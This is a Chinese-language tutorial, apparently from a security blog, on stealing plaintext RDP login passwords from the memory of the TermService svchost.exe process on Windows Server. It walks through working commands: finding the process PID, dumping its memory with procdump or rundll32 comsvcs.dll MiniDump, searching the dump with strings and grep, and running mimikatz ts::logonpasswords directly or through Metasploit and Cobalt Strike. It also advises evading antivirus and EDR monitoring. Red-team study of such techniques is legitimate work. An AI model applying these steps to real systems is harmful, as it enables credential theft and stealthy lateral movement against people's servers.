提取 RDP 活动会话中的明文账密
适用范围: Windows Server 2012 及之后版本(已在 Windows Server 2012、2016 上实测)
前置条件: 目标机器上必须存在正处于活动(Active)状态的 RDP 会话,且该会话由客户端以非 NLA 模式或标准 RDP 认证方式建立(详见原理章节)。
0x01 原理
RDP 认证流程简述
当客户端通过 RDP 连接到目标系统时,Windows 的终端服务(TermService) 负责处理整个认证过程。TermService 以服务的形式运行在某个 svchost.exe 进程实例内。
认证成功后,用户的凭据(用户名 + 明文密码)会被暂存在该 svchost.exe 进程的内存空间中,供终端服务在会话存活期间持续引用。只要这个 RDP 会话处于活动状态,凭据就不会从内存中清除。
客户端输入账密 │ ▼ RDP 协议传输 │ ▼ 目标机 TermService(svchost.exe) │ ← 凭据在此以明文形式驻留于进程内存 ▼ Windows 认证子系统(LSASS) │ ▼ 登录成功,建立会话
关键点:为什么凭据在 svchost 里,而不是 lsass 里?
传统的凭据抓取(如 mimikatz 的 sekurlsa::logonpasswords)针对的是 lsass.exe,因为系统本地登录的凭据缓存在 lsass 的内存中。而 RDP 远程登录的认证入口是 TermService,该服务在完成认证前需要在自身进程内持有明文凭据用于协议协商,因此明文密码短暂存储在 svchost.exe 中,是 TermService 的实现机制所决定的。
关键限制:NLA(网络级别认证)的影响
这是最容易被忽略的关键点。
标准 RDP 认证
NLA(网络级别认证)
实战影响: Windows Server 2012 R2 及以后版本默认开启 NLA。如果目标启用了 NLA,该技术将无法提取到明文密码。在使用此方法前,需确认目标会话是否走的是标准 RDP 认证(例如对方关闭了 NLA,或使用了不支持 NLA 的旧版客户端)。
为什么这个技术在 Win2012 之后依然有价值?
从 Windows 8.1 / Server 2012 R2 开始,微软默认禁用了 WDigest 认证。禁用 WDigest 后,lsass 内存中不再缓存明文密码,传统的 sekurlsa::logonpasswords 只能抓到 NTLM Hash 而非明文。
而本技术的明文来源是 svchost.exe(TermService),与 WDigest 机制完全无关,因此:
即使目标系统禁用了 WDigest,只要存在活动的 RDP 会话且未启用 NLA,就可以从 svchost 内存中提取到明文密码。
0x02 优缺点
优点
-
1. 突破 WDigest 限制:Win2012 R2 之后的系统默认禁用 WDigest,导致 lsass 中无明文。本方法绕过这一限制,直接从 TermService 的内存中获取明文凭据。 -
2. 目标进程是 svchost.exe,而非 lsass.exe:许多 EDR/AV 产品会对 lsass.exe 进行重点保护和内存访问监控,而对 svchost.exe 的监控力度相对较低,具备一定的检测规避价值。
缺点
-
1. 依赖活动会话:目标机器上必须有正在活动的 RDP 会话,被动等待或无会话场景无法使用。 -
2. NLA 开启时失效:如前所述,目标若启用 NLA,则该技术无效。 -
3. 手动字符串搜索成功率不稳定:密码在内存中的位置和格式并不固定,手动 strings搜索有时会遗漏或找到大量噪声,可能需要多次尝试。 -
4. 使用 mimikatz 一键抓取需过免杀: ts::logonpasswords模块是 mimikatz 的特征功能,主流 AV 对其有签名检测,上传前需进行免杀处理(如特征码修改、加壳、反射加载等)。
0x03 手动搜索(无工具依赖)
此方法不依赖 mimikatz,适合工具受限的场景。分三步走:定位进程 → 转储内存 → 搜索密码。
Step 1:找到 TermService 所在的 svchost.exe 进程 PID
由于系统中存在大量 svchost.exe 实例,需要精确定位承载 TermService(即 RDP 终端服务)的那一个。
方法一:通过网络连接关联进程(PowerShell)
netstat -nob | Select-String TermService -Context 1


该命令列出所有网络连接,并筛选出与 TermService 关联的条目,上下文中会显示对应的 PID。
方法二:通过加载的 DLL 定位进程
tasklist /M:rdpcorets.dll

rdpcorets.dll 是 RDP 核心运行时库,只会被承载 TermService 的 svchost.exe 加载,输出结果直接给出 PID。
推荐使用方法二,输出更干净,PID 一目了然。
Step 2:转储 svchost.exe 进程内存
获得 PID 后,将目标进程的完整内存转储到文件,后续在文件中搜索密码。
方法一:使用 ProcDump(Sysinternals,微软签名工具)
procdump.exe -ma [PID] -accepteula [输出文件路径]
示例:
procdump.exe -ma 1234 -accepteula C:\Temp\svc1.dmp

-ma表示完整内存转储(full dump)。ProcDump 是微软 Sysinternals 工具,具有微软数字签名,通常不会被 AV 拦截。
方法二:使用系统自带的 comsvcs.dll(无需上传额外工具)
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump [PID] [输出文件路径] full
示例:
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 1234 C:\Temp\svc1.dmp full

这是一个 Living off the Land(LotL) 技巧,完全利用系统自带组件完成内存转储,无需上传任何第三方工具,隐蔽性更强。
comsvcs.dll是 COM+ 组件服务库,其导出函数MiniDump可用于进程内存转储。
Step 3:从转储文件中搜索明文密码
将 .dmp 文件取回到本地(Linux/WSL 环境),使用 strings 工具搜索。
strings -el svc1.dmp | grep administrator -C1

参数说明:
-e l
grep administrator -C1
administrator(用户名)的行,并显示上下一行(-C1),密码通常就在用户名的相邻位置。
⚠️ 平台说明:
strings和grep是 Linux 命令。建议将.dmp文件下载到本地 Linux 机器或 WSL 环境中分析。若必须在 Windows 上操作,可使用 Sysinternals 的strings.exe配合findstr替代,但搜索体验不如 Linux 下方便。
将 administrator 替换为实际的目标用户名,可提高搜索精度,减少干扰。
0x04 Mimikatz 一键抓取
相比手动方法,mimikatz 的 ts::logonpasswords 模块专门针对 RDP 会话凭据提取,使用更便捷。
方法一:原版 mimikatz
mimikatz.exe "privilege::debug" "ts::logonpasswords" exit

命令解析:
privilege::debug
SeDebugPrivilege 调试权限,允许 mimikatz 访问其他进程的内存
ts::logonpasswords
exit
ts::logonpasswords是专门针对 RDP 场景设计的模块,区别于sekurlsa::logonpasswords(后者读取 lsass)。两者原理不同,目标进程不同。
方法二:Metasploit(load kiwi)
在已有 Meterpreter 会话的情况下:
load kiwikiwi_cmd "privilege::debug" "ts::logonpasswords"

kiwi 是 mimikatz 在 Metasploit 中的集成模块,通过反射注入的方式运行,相比直接上传 mimikatz.exe 落地更隐蔽。
方法三:CobaltStrike

⚠️ 注意(已验证): CobaltStrike 4.3 版本集成的 mimikatz 暂未支持
ts::logonpasswords功能,执行后无输出或报错。如需在 CS 中使用此功能,建议:
• 升级到更高版本的 CS • 或通过 execute-assembly加载独立的 mimikatz 版本• 或使用 shell执行 procdump + 手动分析的组合方式
推荐本站淘宝优惠价购买喜欢的宝贝:
本文链接:https://hqyman.cn/post/19623.html 非本站原创文章欢迎转载,原创文章需保留本站地址!
休息一下~~

微信支付宝扫一扫,打赏作者吧~